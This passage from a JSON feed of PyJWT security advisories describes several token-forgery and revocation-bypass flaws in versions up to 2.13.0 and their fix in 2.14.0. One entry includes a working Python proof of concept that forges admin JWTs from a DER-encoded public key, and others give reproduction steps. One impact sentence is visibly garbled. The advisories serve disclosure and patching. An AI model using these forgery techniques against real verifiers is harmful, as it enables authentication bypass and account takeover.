and `cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated)` succeeds.\n4. `jwt.encode({\"sub\":\"superadmin\"}, mutated, algorithm=\"HS256\")`, then `jwt.decode(token, mutated, algorithms=[\"ES256\",\"HS256\"])` \u2014 verification succeeds.\n\n### Impact\nCryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The `PyJWK` verification path binds a single algorithm and is unaffected; `enforce_minimum_key_length` (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.\n\n## Maintainer update \u2014 2026-09-10\n\nWe reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by `is_pem_format`, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.\n\nThe fix is committed as `8b4e233a22206b34ec1186e912e75c0b2396ac07`. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.\n\nVerification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-ffc3-869f-jxw9", + "modified": "2026-09-29T23:30:03.866776038Z", + "published": "2026-09-29T23:17:33Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102268" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard" + }, + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "<= 2.13.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxm8-2xgr-2p9m/GHSA-hxm8-2xgr-2p9m.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.0", + "0.2.1", + "0.2.3", + "0.3.0", + "0.3.1", + "0.3.2", + "0.4.0", + "0.4.1", + "0.4.2", + "0.4.3", + "1.0.0", + "1.0.1", + "1.1.0", + "1.3.0", + "1.4.0", + "1.4.1", + "1.4.2", + "1.5.0", + "1.5.1", + "1.5.2", + "1.5.3", + "1.6.0", + "1.6.1", + "1.6.3", + "1.6.4", + "1.7.0", + "1.7.1", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-102269" + ], + "database_specific": { + "cwe_ids": [ + "CWE-180" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:17:55Z", + "nvd_published_at": "2026-09-28T21:17:14Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\nPyJWT 2.13.0 accepts compact JWS signature segments containing characters that\nare not in the Base64URL alphabet. Appending `!!!!` to a valid signature does\nnot change the decoded signature bytes or authenticated claims, but it changes\nthe serialized token and its SHA-256 hash. An application that indexes logout\nor revocation state by the raw token therefore rejects the logged-out token and\naccepts its no-key alternate serialization.\n\nThis report separates two issues: permissive compact-JWS decoding is the\nlibrary behavior, while using raw serialized JWT text as a security identity is\na dangerous application composition. A `jti`-indexed control blocks both\nrepresentations.\n\n## Affected Version\n\nConfirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the\nsignature segment and requires no signing key.\n\n## End-to-End Reproduction\n\n```bash\n.venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py\n```\n\nThe loopback-only lab performs:\n\n1. Issue a valid HS256 admin token.\n2. Access `/protected` successfully.\n3. Log out the canonical token and store `SHA256(raw_token)`.\n4. Confirm canonical replay returns HTTP 401.\n5. Append `!!!!` to only the signature segment.\n6. Confirm the mutated token has the same verified claims and signature bytes,\n a different raw hash, and receives HTTP 200.\n7. Repeat with `jti`-indexed revocation and confirm both forms return HTTP 401.\n\nObserved statuses for raw-token revocation were `200 -> logout -> 401` for the\ncanonical token and `200` for the alternate serialization. The `jti` control\nreturned `401` for both replays after logout.\n\n## Security Boundaries and Severity\n\nThis is not signature forgery: the attacker starts with a valid token and\ncannot alter its claims. Impact requires a consumer to bind revocation, replay\nstate, rate limits, or cache identity to the raw compact string. Under that\ncomposition, an authenticated user can bypass logout or token-specific\nrevocation without the signing key. Medium is suggested for triage because the\nsecurity impact is real but application-dependent.\n\n## Recommended Fix\n\n- Reject signature segments containing characters outside `[A-Za-z0-9_-]`.\n- Reject padding and other non-canonical Base64URL encodings for compact JWS.\n- Add regression tests proving malformed signature encodings fail before or\n during verification.\n- Document that applications must use a semantic identifier such as `jti`, not\n the raw serialized token, for revocation and replay state.\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported behavior on the verified `master` commit `8915570`: appending `!!!!` to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags `2.4.0`, `2.8.0`, `2.10.1`, `2.12.1`, and `2.13.0`.\n\nThe security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as `jti` for token identity.\n\nThe report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.\n\n### Maintainer update \u2014 2026-09-09\n\nThe fix has been rebased onto the current `master` as `e6f48401001609a8f99e71fcaf355fb895d508a8` and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as `!!!!` is rejected before verification. Valid detached `b64=false` handling remains supported.\n\nVerification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and `git diff --check` passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.\n\nThe advisory remains medium severity and unpublished.\n\n## Classification update \u2014 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.\n\nThese metadata changes do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-hxm8-2xgr-2p9m", + "modified": "2026-09-29T23:30:03.865434818Z", + "published": "2026-09-29T23:17:55Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-hxm8-2xgr-2p9m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102269" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/e6f48401001609a8f99e71fcaf355fb895d508a8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Non-canonical signature segments enable raw-token revocation bypass" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-p4g4-x82p-q773/GHSA-p4g4-x82p-q773.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.4.0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-102271" + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:14:33Z", + "nvd_published_at": "2026-09-28T21:17:15Z", + "severity": "HIGH" + }, + "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n raise InvalidKeyError(\n \"The specified key is an asymmetric key or x509 certificate and\"\n \" should not be used as an HMAC secret.\"\n )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n # The attacker does not use PyJWT. They only need the public key bytes.\n head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n signing_input = head + b\".\" + body\n sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {'user': 'admin', 'role': 'admin'}\nDER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n> Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-p4g4-x82p-q773", + "modified": "2026-09-29T23:30:03.853857825Z", + "published": "2026-09-29T23:14:33Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-r6x4-923q-g947/GHSA-r6x4-923q-g947.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.13.0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.13.0" + ] + } + ], + "aliases": [ + "CVE-2026-102272" + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:14:00Z", + "nvd_published_at": "2026-09-28T21:17:15Z", + "severity": "HIGH" + }, + "details": "## Affected Package\n\n- **Package**: PyJWT (`pyjwt` on PyPI)\n- **Repository**: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E\n- **Affected version**: 2.13.0\n- **Vulnerability class**: Algorithm confusion / patch bypass\n\n---\n\n## Root Cause\n\nPyJWT 2.13.0 introduced a guard in `HMACAlgorithm.prepare_key()` (file `jwt/algorithms.py`, approximately line 344) to prevent RSA public key material from being used as an HMAC secret \u2014 the root cause of CVE-2026-48526.\n\nThe guard uses `bytes.lstrip()` before calling `startswith(b\"{\")`:\n\n```python\nstripped = key_bytes.lstrip() # strips ASCII whitespace only\nif stripped.startswith(b\"{\"): # JWK detection\n ...\n raise InvalidKeyError(\"The specified key is an asymmetric key...\")\n```\n\n`bytes.lstrip()` with no argument removes only bytes in the ASCII whitespace set (`\\x20 \\t \\n \\r \\x0b \\x0c`). A UTF-8 BOM prefix (`\\xef\\xbb\\xbf`) is not stripped, so `stripped.startswith(b\"{\")` returns `False` for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.\n\n---\n\n## PoC Sketch (pseudocode \u2014 not a weaponized payload)\n\n```python\n# 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint)\n# and prepends a UTF-8 BOM byte sequence before the JSON opening brace.\n# 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret.\n# 3. Attacker submits the forged token to a verifier that:\n# - accepts algorithms=[\"HS256\", \"RS256\"]\n# - holds the same RSA public key as raw bytes (BOM-prefixed key file)\n# 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK\n# detection check to be skipped \u2014 the RSA JWK bytes become a valid HMAC key.\n# Result: arbitrary claims (role, sub, etc.) accepted by the verifier.\n```\n\n---\n\n## Impact\n\nAn unauthenticated network attacker who knows the target application's RSA public key \u2014 which is public by design and obtainable from a JWKS endpoint or certificate \u2014 can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (`algorithms=[\"HS256\", \"RS256\"]` or equivalent). The resulting impact\nis complete authentication and authorization bypass (`C:H/I:H`). Attack Complexity is High (`AC:H`) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (`PR:N`). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.\n\n---\n\n## Suggested Fix\n\n**Option A (minimal)**: Replace `lstrip()` with an explicit strip of known\nBOM prefixes before the JSON detection check:\n\n```python\n# Strip common BOM prefixes in addition to ASCII whitespace\nBOM_PREFIXES = (b\"\\xef\\xbb\\xbf\", b\"\\xff\\xfe\", b\"\\xfe\\xff\")\nstripped = key_bytes\nfor bom in BOM_PREFIXES:\n if stripped.startswith(bom):\n stripped = stripped[len(bom):]\n break\nstripped = stripped.lstrip()\n```\n\n**Option B (more robust)**: Use `json.loads()` as the detection mechanism\ninstead of a byte-prefix check, so encoding variants and whitespace are\nhandled by the JSON parser:\n\n```python\ntry:\n test_obj = json.loads(key_bytes.strip())\n if isinstance(test_obj, dict) and \"kty\" in test_obj:\n raise InvalidKeyError(\"The specified key is an asymmetric key...\")\nexcept (ValueError, UnicodeDecodeError):\n pass\n```\n\nOption B is preferred because it is resilient to any future encoding variant.\n\n---\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound `PyJWK` controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.\n\nThe fix is committed as `180783930de91876bc0d601f826a1f2956057291`. `HMACAlgorithm.prepare_key()` now checks parsed JSON objects for `kty` across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.\n\nThe full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit `180783930de91876bc0d601f826a1f2956057291`. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.\n\nThe fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.\n\n## Classification update \u2014 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-r6x4-923q-g947", + "modified": "2026-09-29T23:30:03.855539261Z", + "published": "2026-09-29T23:14:00Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-r6x4-923q-g947" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102272" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/180783930de91876bc0d601f826a1f2956057291" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT BOM Bypass" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-w2cx-738m-mc7w/GHSA-w2cx-738m-mc7w.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.13.0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.13.0" + ] + } + ], + "aliases": [ + "CVE-2026-102273" + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:16:55Z", + "nvd_published_at": "2026-09-28T21:17:15Z", + "severity": "HIGH" + }, + "details": "### Summary\n\nPyJWT 2.13.0 contains an incomplete defense against algorithm confusion when\nan application mixes symmetric and asymmetric algorithms in one verification\npath. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it\nis wrapped in a JWKS object, nested in an array, or represented in another\ncontainer form that does not expose a top-level `kty` member.\n\n### Impact\n\nAn attacker who knows the public key material can forge HS256/HS384/HS512\ntokens if the application simultaneously:\n\n* allows both HS* and asymmetric algorithms;\n* passes raw public JWK/JWKS JSON as `key=`; and\n* uses that same value as the HMAC secret.\n\nThis can allow forged JWT claims in affected application configurations. The\nissue does not affect applications that keep symmetric and asymmetric\nverification paths separate and follow PyJWT's algorithm-selection guidance.\n\n### Fix status\n\nThe fix is on `master` in commit `801cd12` (`fix: reject public JWK container\nHMAC keys`). `HMACAlgorithm.prepare_key` now rejects public JWK members found in\nobjects, arrays, nested containers, BOM/UTF variants, and recursion-limit\ninputs. It also recognizes escaped JSON member names without treating ordinary\nstring values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.\n\nThe change was tested with focused regression tests and the full local tox\nmatrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,\npackage metadata, and coverage passed; unavailable interpreters were skipped\nby the project configuration. A fresh independent Astra/max security review\naccepted the final diff with no blocking findings.\n\nThe affected range is `= 2.13.0`. The fix is on the unreleased development\nbranch; the patched version will be recorded when a released 2.x version\ncontaining the fix is available. This advisory is being moved to draft pending\nthat release.\n\n### Reporter credit\n\nCredit: Charles Vosburgh / Trilobyte.\n\n### Original report\n\nThe original report and reproduction package are retained in the private\nadvisory record.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-w2cx-738m-mc7w", + "modified": "2026-09-29T23:30:03.873701729Z", + "published": "2026-09-29T23:16:55Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102273" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT accepts public JWK containers as HMAC secrets" + }, + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "<= 2.13.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-w6j9-cwv2-h6wq/GHSA-w6j9-cwv2-h6wq.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.9.0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-102274" + ], + "database_specific": { + "cwe_ids": [ + "CWE-755" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T18:23:01Z", + "nvd_published_at": "2026-09-28T21:17:15Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\nA malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because `RSAAlgorithm.from_jwk` can raise a plain `ValueError` that isn't caught by `PyJWKSet`'s per-key error-skipping logic.\n\n## Affected component / version\n\n- Package: `PyJWT` (PyPI, ecosystem `pip`)\n- Files: `jwt/api_jwk.py` (`PyJWK.__init__`, `PyJWKSet.__init__`), `jwt/algorithms.py` (`RSAAlgorithm.from_jwk`)\n- Confirmed present in the `master` branch as of 2026-09-05 (commit `7144e4534c34810f4525dc4578a32addd8212cff`, tag `2.13.0`). Directly verified identical in tags `2.9.0`, `2.10.0`, `2.11.0`, `2.12.0`, `2.12.1`, `2.13.0` -- the vulnerable call and the `except PyJWTError` guard are unchanged across all six releases. Not verified against any release prior to `2.9.0`.\n\n## Details\n\n`PyJWKSet.__init__` (`jwt/api_jwk.py:145-152`) iterates each key in a JWK Set:\n\n```python\nfor key in keys:\n try:\n self.keys.append(PyJWK(key))\n except PyJWTError as error:\n if isinstance(error, MissingCryptographyError):\n raise error\n # skip unusable keys\n continue\n```\n\n`PyJWK.__init__` (`api_jwk.py:82`) calls `self.Algorithm.from_jwk(self._jwk_data)` with no try/except of its own. For an RSA JWK, this dispatches to `RSAAlgorithm.from_jwk` (`jwt/algorithms.py:539-586`). When the JWK supplies `d`, `e`, `n` without the CRT parameters 